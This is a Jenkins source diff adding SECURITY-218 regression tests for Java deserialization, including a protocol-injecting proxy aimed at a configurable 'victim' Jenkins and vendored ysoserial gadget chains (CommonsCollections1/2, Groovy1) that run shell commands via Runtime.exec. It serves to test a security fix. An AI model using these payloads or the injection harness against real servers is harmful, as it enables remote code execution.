diff --git a/cli/src/main/java/hudson/cli/CliPort.java b/cli/src/main/java/hudson/cli/CliPort.java index 1507704d9c0e79dc40c88aa25d8bbe369c159e2a..8faab7de41bee0c88fa90cdaa0cbb8c9599f6a97 100644 --- a/cli/src/main/java/hudson/cli/CliPort.java +++ b/cli/src/main/java/hudson/cli/CliPort.java @@ -11,7 +11,7 @@ import java.security.spec.X509EncodedKeySpec; /** * @author Kohsuke Kawaguchi */ -final class CliPort { +public final class CliPort { /** * The TCP endpoint to talk to. */ @@ -27,7 +27,7 @@ final class CliPort { */ final String identity; - CliPort(InetSocketAddress endpoint, String identity, int version) { + public CliPort(InetSocketAddress endpoint, String identity, int version) { this.endpoint = endpoint; this.identity = identity; this.version = version; diff --git a/pom.xml b/pom.xml index 534a20ab45a847633340393840b0151066e64519..02d41d2b86b32046e411a02f77a4b0da608ed99a 100644 --- a/pom.xml +++ b/pom.xml @@ -176,7 +176,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53-20151108.042522-3 + 2.53 diff --git a/test/pom.xml b/test/pom.xml index be34d90b2c38fd790793f60d51162b8a905835e4..763ec2dc432e613f5f1e32be7c1521f2cd581d4e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -179,6 +179,18 @@ THE SOFTWARE. geb-implicit-assertions 0.7.2 + + org.javassist + javassist + 3.19.0-GA + test + + + org.apache.commons + commons-collections4 + 4.0 + test + diff --git a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java new file mode 100644 index 0000000000000000000000000000000000000000..c4a5b0f27502ac6e00dff99b7da62177a46c3ef8 --- /dev/null +++ b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java @@ -0,0 +1,300 @@ +/* + * The MIT License + * + * Copyright 2015 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import hudson.cli.CLI; +import hudson.cli.CliPort; +import hudson.remoting.BinarySafeStream; +import hudson.util.DaemonThreadFactory; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.URL; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.util.Serializables; +import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.Rule; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.PresetData; + +public class Security218BlackBoxTest { + + private static final String overrideURL = System.getenv("VICTIM_JENKINS_URL"); + private static final String overrideHome = System.getenv("VICTIM_JENKINS_HOME"); + static { + assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null)); + } + + private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory()); + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @SuppressWarnings("deprecation") // really mean to use getPage(String) + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise + @Test + public void probe() throws Exception { + JenkinsRule.WebClient wc = r.createWebClient(); + final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL); + wc.getPage(url + "userContent/readme.txt"); + try { + wc.getPage(url + "userContent/pwned"); + fail("already compromised?"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + for (int round = 0; round < 2; round++) { + final int _round = round; + final ServerSocket proxySocket = new ServerSocket(0); + executors.submit(new Runnable() { + @Override + public void run() { + try { + Socket proxy = proxySocket.accept(); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + String host = conn.getHeaderField("X-Jenkins-CLI-Host"); + Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1)); + final InputStream realIS = real.getInputStream(); + final OutputStream realOS = real.getOutputStream(); + final InputStream proxyIS = proxy.getInputStream(); + final OutputStream proxyOS = proxy.getOutputStream(); + executors.submit(new Runnable() { + @Override + public void run() { + try { + // Read up to \x00\x00\x00\x00, end of header. + int nullCount = 0; + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int c; + while ((c = realIS.read()) != -1) { + proxyOS.write(c); + buf.write(c); + if (c == 0) { + if (++nullCount == 4) { + break; + } + } else { + nullCount = 0; + } + } + System.err.print("← "); + display(buf.toByteArray()); + System.err.println(); + // Now assume we are in chunked transport. + PACKETS: while (true) { + buf.reset(); + //System.err.println("reading one packet"); + while (true) { // one packet, ≥1 chunk + //System.err.println("reading one chunk"); + int hi = realIS.read(); + if (hi == -1) { + break PACKETS; + } + proxyOS.write(hi); + int lo = realIS.read(); + proxyOS.write(lo); + boolean hasMore = (hi & 0x80) > 0; + if (hasMore) { + hi &= 0x7F; + } + int len = hi * 0x100 + lo; + //System.err.printf("waiting for %X bytes%n", len); + for (int i = 0; i < len; i++) { + c = realIS.read(); + proxyOS.write(c); + buf.write(c); + } + if (hasMore) { + continue; + } + System.err.print("← "); + byte[] data = buf.toByteArray(); + //display(data); + showSer(data); + System.err.println(); + break; + } + } + } catch (IOException x) { + x.printStackTrace(); + } + } + }); + executors.submit(new Runnable() { + @Override + public void run() { + try { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + ByteArrayOutputStream toCopy = new ByteArrayOutputStream(); + int c; + int nullCount = 0; + while ((c = proxyIS.read()) != -1) { + toCopy.write(c); + buf.write(c); + if (c == 0) { + if (++nullCount == 4) { + break; + } + } else { + nullCount = 0; + } + } + if (_round == 0) { + System.err.println("injecting payload into capability negotiation"); + // replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00 + new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol + byte[] PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8"); // Capability + realOS.write(PREAMBLE); + OutputStream bss = BinarySafeStream.wrap(realOS); + bss.write(payload()); + bss.flush(); + } else { + System.err.print("→ "); + display(buf.toByteArray()); + System.err.println(); + realOS.write(toCopy.toByteArray()); + } + int packet = 0; + PACKETS: while (true) { + buf.reset(); + toCopy.reset(); + while (true) { + int hi = proxyIS.read(); + if (hi == -1) { + break PACKETS; + } + toCopy.write(hi); + int lo = proxyIS.read(); + toCopy.write(lo); + boolean hasMore = (hi & 0x80) > 0; + if (hasMore) { + hi &= 0x7F; + } + int len = hi * 0x100 + lo; + for (int i = 0; i < len; i++) { + c = proxyIS.read(); + toCopy.write(c); + buf.write(c); + } + if (hasMore) { + continue; + } + if (++packet == _round) { + System.err.println("injecting payload into packet"); + byte[] data = payload(); + realOS.write(data.length / 256); + realOS.write(data.length % 256); + realOS.write(data); + } else { + System.err.print("→ "); + byte[] data = buf.toByteArray(); + //display(data); + showSer(data); + System.err.println(); + realOS.write(toCopy.toByteArray()); + } + break; + } + } + } catch (Exception x) { + x.printStackTrace(); + } + } + }); + } catch (IOException x) { + x.printStackTrace(); + } + } + }); + try { + executors.submit(new Runnable() { + @Override + public void run() { + // Bypassing _main because it does nothing interesting here. + // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. + try { + new CLI(r.getURL()) { + @Override + protected CliPort getCliTcpPort(String url) throws IOException { + return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1); + } + }.execute("help"); + } catch (Exception x) { + x.printStackTrace(); + } + } + }).get(5, TimeUnit.SECONDS); + } catch (TimeoutException x) { + System.err.println("CLI command timed out"); + } + try { + wc.getPage(url + "userContent/pwned"); + fail("Pwned!"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + } + } + + private static synchronized void display(byte[] data) { + for (byte c : data) { + if (c >= ' ' && c <= '~') { + System.err.write(c); + } else { + System.err.printf("\\x%02X", c); + } + } + } + + private static synchronized void showSer(byte[] data) { + try { + Object o = Serializables.deserialize(data); + System.err.print(o); + } catch (Exception x) { + System.err.printf("<%s>", x); + } + } + + /** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */ + private byte[] payload() throws Exception { + File home = overrideHome == null ? r.jenkins.root : new File(overrideHome); + // TODO find a Windows equivalent + return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned"))); + } + +} diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java new file mode 100644 index 0000000000000000000000000000000000000000..546cdc8fde467d4a78df969d5178f1661bd6926c --- /dev/null +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -0,0 +1,194 @@ +/* + * The MIT License + * + * Copyright 2015 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.cli.CLI; +import hudson.cli.CLICommand; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import java.io.File; +import java.io.PrintStream; +import jenkins.security.security218.Payload; +import org.jenkinsci.remoting.RoleChecker; +import org.junit.Test; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.TestExtension; +import org.jvnet.hudson.test.recipes.PresetData; +import org.kohsuke.args4j.Argument; + +public class Security218CliTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeCommonsCollections1() throws Exception { + probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeCommonsCollections2() throws Exception { + // The issue with CommonsCollections2 does not appear in manual tests on Jenkins, but it may be a risk + // in newer commons-collections version => remoting implementation should filter this class anyway + probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeGroovy1() throws Exception { + probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED); + } + + //TODO: Fix the conversion layer (not urgent) + // There is an issue in the conversion layer after the migration to another XALAN namespace + // with newer libs. SECURITY-218 does not apper in this case in manual tests anyway + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeSpring1() throws Exception { + probe(Payload.Spring1, -1); + } + + private void probe(Payload payload, int expectedResultCode) throws Exception { + File file = File.createTempFile("security-218", payload + "-payload"); + File moved = new File(file.getAbsolutePath() + "-moved"); + + // Bypassing _main because it does nothing interesting here. + // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. + int exitCode = new CLI(r.getURL()).execute("send-payload", + payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); + assertEquals("Unexpected result code.", expectedResultCode, exitCode); + assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); + file.delete(); + } + + @TestExtension() + public static class SendPayloadCommand extends CLICommand { + + @Override + public String getShortDescription() { + return hudson.cli.Messages.ConsoleCommand_ShortDescription(); + } + + @Argument(metaVar = "payload", usage = "ID of the payload", required = true, index = 0) + public String payload; + + @Argument(metaVar = "command", usage = "Command to be launched by the payload", required = true, index = 1) + public String command; + + + protected int run() throws Exception { + Payload payloadItem = Payload.valueOf(this.payload); + PayloadCaller callable = new PayloadCaller(payloadItem, command); + return channel.call(callable); + } + + @Override + protected void printUsageSummary(PrintStream stderr) { + stderr.println("Sends a payload over the channel"); + } + } + + public static class PayloadCaller implements Callable { + + private final Payload payload; + private final String command; + + public static final int EXIT_CODE_OK = 0; + public static final int EXIT_CODE_REJECTED = 42; + public static final int EXIT_CODE_ASSIGNMENT_ISSUE = 43; + + public PayloadCaller(Payload payload, String command) { + this.payload = payload; + this.command = command; + } + + @Override + public Integer call() throws Exception { + final Object ysoserial = payload.getPayloadClass().newInstance().getObject(command); + + // Invoke backward call + try { + Channel.current().call(new Callable() { + private static final long serialVersionUID = 1L; + + @Override + public String call() throws Exception { + // We don't care what happens here. Object should be sent over the channel + return ysoserial.toString(); + } + + @Override + public void checkRoles(RoleChecker checker) throws SecurityException { + // do nothing + } + }); + } catch (Exception ex) { + Throwable cause = ex; + while (cause.getCause() != null) { + cause = cause.getCause(); + } + + if (cause instanceof SecurityException) { + // It should happen if the remote chanel reject a class. + // That's what we have done in SECURITY-218 => may be OK + if (cause.getMessage().contains("Rejected")) { + // OK + return PayloadCaller.EXIT_CODE_REJECTED; + } else { + // Something wrong + throw ex; + } + } + + final String message = cause.getMessage(); + if (message != null && message.contains("cannot be cast to java.util.Set")) { + // We ignore this exception, because there is a known issue in the test payload + // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error, + // but actually it means that the conversion has been triggered + return EXIT_CODE_ASSIGNMENT_ISSUE; + } else { + throw ex; + } + } + return EXIT_CODE_OK; + } + + @Override + public void checkRoles(RoleChecker checker) throws SecurityException { + // Do nothing + } + + } + +} diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java new file mode 100644 index 0000000000000000000000000000000000000000..43dc97a995f9cc9b49c51c2c7982ca1ffb082d39 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -0,0 +1,52 @@ +/* + * The MIT License + * + * Copyright (c) 2015 Oleg Nenashev. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218; + +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections2; +import jenkins.security.security218.ysoserial.payloads.Groovy1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.Spring1; + + +/** + * Allows to select {@link ObjectPayload}s. + * @author Oleg Nenashev + */ +public enum Payload { + CommonsCollections1(CommonsCollections1.class), + CommonsCollections2(CommonsCollections2.class), + Groovy1(Groovy1.class), + Spring1(Spring1.class); + + private final Class payloadClass; + + private Payload(Class payloadClass) { + this.payloadClass = payloadClass; + } + + public Class getPayloadClass() { + return payloadClass; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java new file mode 100644 index 0000000000000000000000000000000000000000..7c6a40be7d510a878a622bb7a2913e473ac1e36b --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java @@ -0,0 +1,67 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial; + +import java.security.Permission; +import java.util.concurrent.Callable; + +public class ExecBlockingSecurityManager extends SecurityManager { + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + }; + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + } + + public static void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public static T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); + System.setSecurityManager(new ExecBlockingSecurityManager()); + try { + return callable.call(); + } finally { + System.setSecurityManager(sm); + } + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java new file mode 100644 index 0000000000000000000000000000000000000000..e4436c8752a3a7cb02b609b5c73378f62928e3da --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java @@ -0,0 +1,99 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java new file mode 100644 index 0000000000000000000000000000000000000000..94b9afa3ee93b3a57385bd512c9addb4abfc420c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java @@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; +import org.apache.xalan.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = 1; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections2.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java new file mode 100644 index 0000000000000000000000000000000000000000..3e332495d60d66f27fe684400b4025d905000d8b --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java @@ -0,0 +1,66 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; + +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + Comparator.compare() (Proxy) + ConvertedClosure.invoke() + MethodClosure.call() + ... + Method.invoke() + Runtime.exec() + + Requires: + groovy + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +public class Groovy1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Groovy1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java new file mode 100644 index 0000000000000000000000000000000000000000..22c656b8f60ce564e5115c6577f04eb58a133904 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java @@ -0,0 +1,32 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE 